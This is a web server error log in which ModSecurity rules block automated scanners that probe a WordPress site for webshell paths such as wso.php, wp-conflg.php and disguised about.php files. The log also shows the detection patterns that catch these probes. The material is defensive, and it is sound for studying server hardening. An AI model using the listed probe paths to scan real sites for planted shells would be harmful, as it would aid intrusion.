[Sun Jan 11 20:44:24.816260 2026] [:error] [pid 5152:tid 5169] [client 4.247.164.63:28219] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWObKBm0axGMFrpuXHCWGgAAAAc"]
[Sun Jan 11 20:44:25.245504 2026] [:error] [pid 36611:tid 36636] [client 4.247.164.63:34098] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWObKT8oZoZHsoTdjhhgZgAAAlc"]
[Sun Jan 11 20:44:25.693512 2026] [:error] [pid 36611:tid 36637] [client 4.247.164.63:28188] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aWObKT8oZoZHsoTdjhhgZwAAAlg"]
[Sun Jan 11 20:44:26.088234 2026] [:error] [pid 36611:tid 36633] [client 4.247.164.63:44607] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aWObKj8oZoZHsoTdjhhgaAAAAlQ"]
[Sun Jan 11 20:44:26.544783 2026] [:error] [pid 5272:tid 5297] [client 4.247.164.63:34940] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aWObKlp55bCsukUvYGZ1LgAAANc"]
[Sun Jan 11 20:44:27.025242 2026] [:error] [pid 5272:tid 5293] [client 4.247.164.63:44581] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aWObK1p55bCsukUvYGZ1MAAAANM"]
[Sun Jan 11 20:44:27.591353 2026] [:error] [pid 5272:tid 5281] [client 4.247.164.63:30874] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWObK1p55bCsukUvYGZ1MgAAAMc"]
[Sun Jan 11 20:44:27.980446 2026] [:error] [pid 5152:tid 5163] [client 4.247.164.63:63607] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWObKxm0axGMFrpuXHCWHwAAAAE"]
[Sun Jan 11 20:44:28.470997 2026] [:error] [pid 36611:tid 36624] [client 4.247.164.63:34926] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWObLD8oZoZHsoTdjhhgagAAAks"]
[Sun Jan 11 20:44:29.088067 2026] [:error] [pid 35977:tid 36001] [client 4.247.164.63:34102] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWObLbDST5RMqStLeP15dAAAAhU"]
[Sun Jan 11 20:44:29.584507 2026] [:error] [pid 36611:tid 36613] [client 4.247.164.63:36413] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWObLT8oZoZHsoTdjhhgbAAAAkA"]
[Sun Jan 11 20:44:30.408316 2026] [:error] [pid 35977:tid 36004] [client 4.247.164.63:39236] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWObLrDST5RMqStLeP15dwAAAhg"]
[Sun Jan 11 20:44:30.948397 2026] [:error] [pid 35730:tid 35734] [client 4.247.164.63:31740] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWObLji7U_mfHtESQHlcWwAAAcI"]
[Sun Jan 11 20:44:31.463032 2026] [:error] [pid 5155:tid 5223] [client 4.247.164.63:34071] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWObL1gEKFpNs0_zLGke7wAAAIc"]
[Sun Jan 11 20:44:31.941593 2026] [:error] [pid 5155:tid 5236] [client 4.247.164.63:28193] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWObL1gEKFpNs0_zLGke8QAAAJQ"]
[Sun Jan 11 20:44:32.439095 2026] [:error] [pid 5152:tid 5176] [client 4.247.164.63:31686] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWObMBm0axGMFrpuXHCWIQAAAA4"]
[Sun Jan 11 20:44:32.864172 2026] [:error] [pid 11748:tid 11799] [client 4.247.164.63:39285] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWObMAC5xybrWOCNnoYBSwAAAZU"]
[Sun Jan 11 20:44:33.254564 2026] [:error] [pid 35730:tid 35745] [client 4.247.164.63:44574] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWObMTi7U_mfHtESQHlcXAAAAc0"]
[Sun Jan 11 20:44:33.661721 2026] [:error] [pid 11747:tid 11769] [client 4.247.164.63:35659] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aWObMaRFw84LNpZSk7niRQAAAVI"]
[Sun Jan 11 20:44:34.077199 2026] [:error] [pid 11748:tid 11795] [client 4.247.164.63:36391] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aWObMgC5xybrWOCNnoYBTAAAAZE"]
[Sun Jan 11 20:44:34.677304 2026] [:error] [pid 11748:tid 11796] [client 4.247.164.63:33535] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aWObMgC5xybrWOCNnoYBTQAAAZI"]
[Sun Jan 11 20:44:35.051901 2026] [:error] [pid 11747:tid 11752] [client 4.247.164.63:31707] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aWObM6RFw84LNpZSk7niRwAAAUE"]
[Sun Jan 11 20:44:35.412418 2026] [:error] [pid 5155:tid 5240] [client 4.247.164.63:35660] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aWObM1gEKFpNs0_zLGke9gAAAJg"]
[Sun Jan 11 20:44:35.709165 2026] [:error] [pid 5272:tid 5287] [client 4.247.164.63:31729] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aWObM1p55bCsukUvYGZ1OAAAAM0"]
[Sun Jan 11 20:44:36.283534 2026] [:error] [pid 5272:tid 5283] [client 4.247.164.63:36414] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aWObNFp55bCsukUvYGZ1OgAAAMk"]
[Sun Jan 11 20:44:36.699716 2026] [:error] [pid 40191:tid 40209] [client 4.247.164.63:31684] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aWObNEm2BH1CV1p0EUHUiQAAAtA"]
[Sun Jan 11 20:44:37.115225 2026] [:error] [pid 5152:tid 5178] [client 4.247.164.63:31699] [client 4.247.164.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aWObNRm0axGMFrpuXHCWJAAAABA"]
[Sun Jan 11 20:44:37.701588 2026] [:error] [pid 5155:tid 5239] [client 4.247.164.63:35186] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWObNVgEKFpNs0_zLGke9wAAAJc"]
[Sun Jan 11 20:44:38.475467 2026] [:error] [pid 35730:tid 35733] [client 4.247.164.63:39220] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWObNji7U_mfHtESQHlcXwAAAcE"]
[Sun Jan 11 20:44:38.892325 2026] [:error] [pid 11747:tid 11755] [client 4.247.164.63:34108] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWObNqRFw84LNpZSk7niSAAAAUQ"]
[Sun Jan 11 20:44:40.030513 2026] [proxy_fcgi:error] [pid 5155:tid 5216] [client 4.247.164.63:44546] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:44:40.171153 2026] [proxy_fcgi:error] [pid 5155:tid 5225] [client 4.247.164.63:44546] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:28:56.677669 2026] [:error] [pid 5272:tid 5281] [client 34.73.19.203:58105] [client 34.73.19.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.19.203, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWPBuFp55bCsukUvYGaWFwAAAMc"]
[Sun Jan 11 23:28:56.687279 2026] [proxy_fcgi:error] [pid 5272:tid 5281] [client 34.73.19.203:58105] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:28:59.405742 2026] [:error] [pid 5272:tid 5289] [client 34.73.19.203:58105] [client 34.73.19.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWPBu1p55bCsukUvYGaWJgAAAM8"]
[Sun Jan 11 23:29:00.167087 2026] [:error] [pid 11748:tid 11787] [client 34.73.19.203:54324] [client 34.73.19.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWPBvAC5xybrWOCNnoYZmQAAAYk"]
[Sun Jan 11 23:29:00.739871 2026] [:error] [pid 5152:tid 5176] [client 34.73.19.203:52035] [client 34.73.19.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWPBvBm0axGMFrpuXHCybAAAAA4"]
[Sun Jan 11 23:29:01.296335 2026] [:error] [pid 5152:tid 5180] [client 34.73.19.203:62667] [client 34.73.19.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWPBvRm0axGMFrpuXHCybgAAABI"]
[Sun Jan 11 23:29:01.910510 2026] [:error] [pid 11747:tid 11757] [client 34.73.19.203:65142] [client 34.73.19.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWPBvaRFw84LNpZSk7n31AAAAUY"]
[Sun Jan 11 23:29:02.499788 2026] [:error] [pid 40191:tid 40202] [client 34.73.19.203:55791] [client 34.73.19.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWPBvkm2BH1CV1p0EUHrzwAAAsk"]
[Sun Jan 11 23:29:03.041183 2026] [:error] [pid 11747:tid 11767] [client 34.73.19.203:52604] [client 34.73.19.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWPBv6RFw84LNpZSk7n31gAAAVA"]
[Sun Jan 11 23:45:09.143702 2026] [proxy_fcgi:error] [pid 5272:tid 5282] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.174311 2026] [proxy_fcgi:error] [pid 5272:tid 5286] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.199770 2026] [proxy_fcgi:error] [pid 5272:tid 5288] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.232738 2026] [proxy_fcgi:error] [pid 5272:tid 5292] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.252799 2026] [proxy_fcgi:error] [pid 5272:tid 5291] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.273212 2026] [proxy_fcgi:error] [pid 5272:tid 5275] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.438815 2026] [proxy_fcgi:error] [pid 5272:tid 5289] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.776224 2026] [proxy_fcgi:error] [pid 5272:tid 5297] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.804453 2026] [proxy_fcgi:error] [pid 5272:tid 5284] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.825518 2026] [proxy_fcgi:error] [pid 5272:tid 5287] [client 4.197.153.127:6821] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:45:09.962714 2026] [:error] [pid 5272:tid 5280] [client 4.197.153.127:6821] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aWPFhVp55bCsukUvYGaYHQAAAMY"]
[Sun Jan 11 23:45:17.230765 2026] [:error] [pid 5155:tid 5235] [client 4.197.153.127:6858] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aWPFjVgEKFpNs0_zLGk65QAAAJM"]
[Sun Jan 11 23:45:27.397451 2026] [:error] [pid 5155:tid 5222] [client 4.197.153.127:32372] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWPFl1gEKFpNs0_zLGk65gAAAIY"]
[Sun Jan 11 23:45:38.675191 2026] [:error] [pid 11748:tid 11779] [client 4.197.153.127:59175] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWPFogC5xybrWOCNnoYa6AAAAYE"]
[Sun Jan 11 23:45:50.901531 2026] [:error] [pid 5152:tid 5179] [client 4.197.153.127:40096] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/check.php"] [unique_id "aWPFrhm0axGMFrpuXHC1DwAAABE"]
[Sun Jan 11 23:46:06.407042 2026] [:error] [pid 5152:tid 5184] [client 4.197.153.127:6401] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWPFvhm0axGMFrpuXHC1NQAAABY"]
[Sun Jan 11 23:46:08.813414 2026] [:error] [pid 11748:tid 11788] [client 4.197.153.127:6419] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWPFwAC5xybrWOCNnoYa-AAAAYo"]
[Sun Jan 11 23:46:17.353010 2026] [proxy_fcgi:error] [pid 5153:tid 5212] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.372748 2026] [proxy_fcgi:error] [pid 5153:tid 5213] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.531499 2026] [proxy_fcgi:error] [pid 5153:tid 5208] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.549556 2026] [proxy_fcgi:error] [pid 5153:tid 5193] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.605598 2026] [proxy_fcgi:error] [pid 5153:tid 5192] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.639112 2026] [proxy_fcgi:error] [pid 5153:tid 5194] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.659278 2026] [proxy_fcgi:error] [pid 5153:tid 5190] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.681496 2026] [proxy_fcgi:error] [pid 5153:tid 5203] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.700978 2026] [proxy_fcgi:error] [pid 5153:tid 5204] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.724404 2026] [proxy_fcgi:error] [pid 5153:tid 5210] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:17.783420 2026] [proxy_fcgi:error] [pid 5153:tid 5199] [client 4.197.153.127:21269] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:46:18.025821 2026] [:error] [pid 5153:tid 5191] [client 4.197.153.127:21269] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aWPFys1QbNSPD9bRi77hBQAAAEI"]
[Sun Jan 11 23:46:20.603606 2026] [:error] [pid 35977:tid 35987] [client 4.197.153.127:21258] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aWPFzLDST5RMqStLeP2WigAAAgc"]
[Sun Jan 11 23:46:31.677456 2026] [:error] [pid 5152:tid 5183] [client 4.197.153.127:25715] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aWPF1xm0axGMFrpuXHC1QgAAABU"]
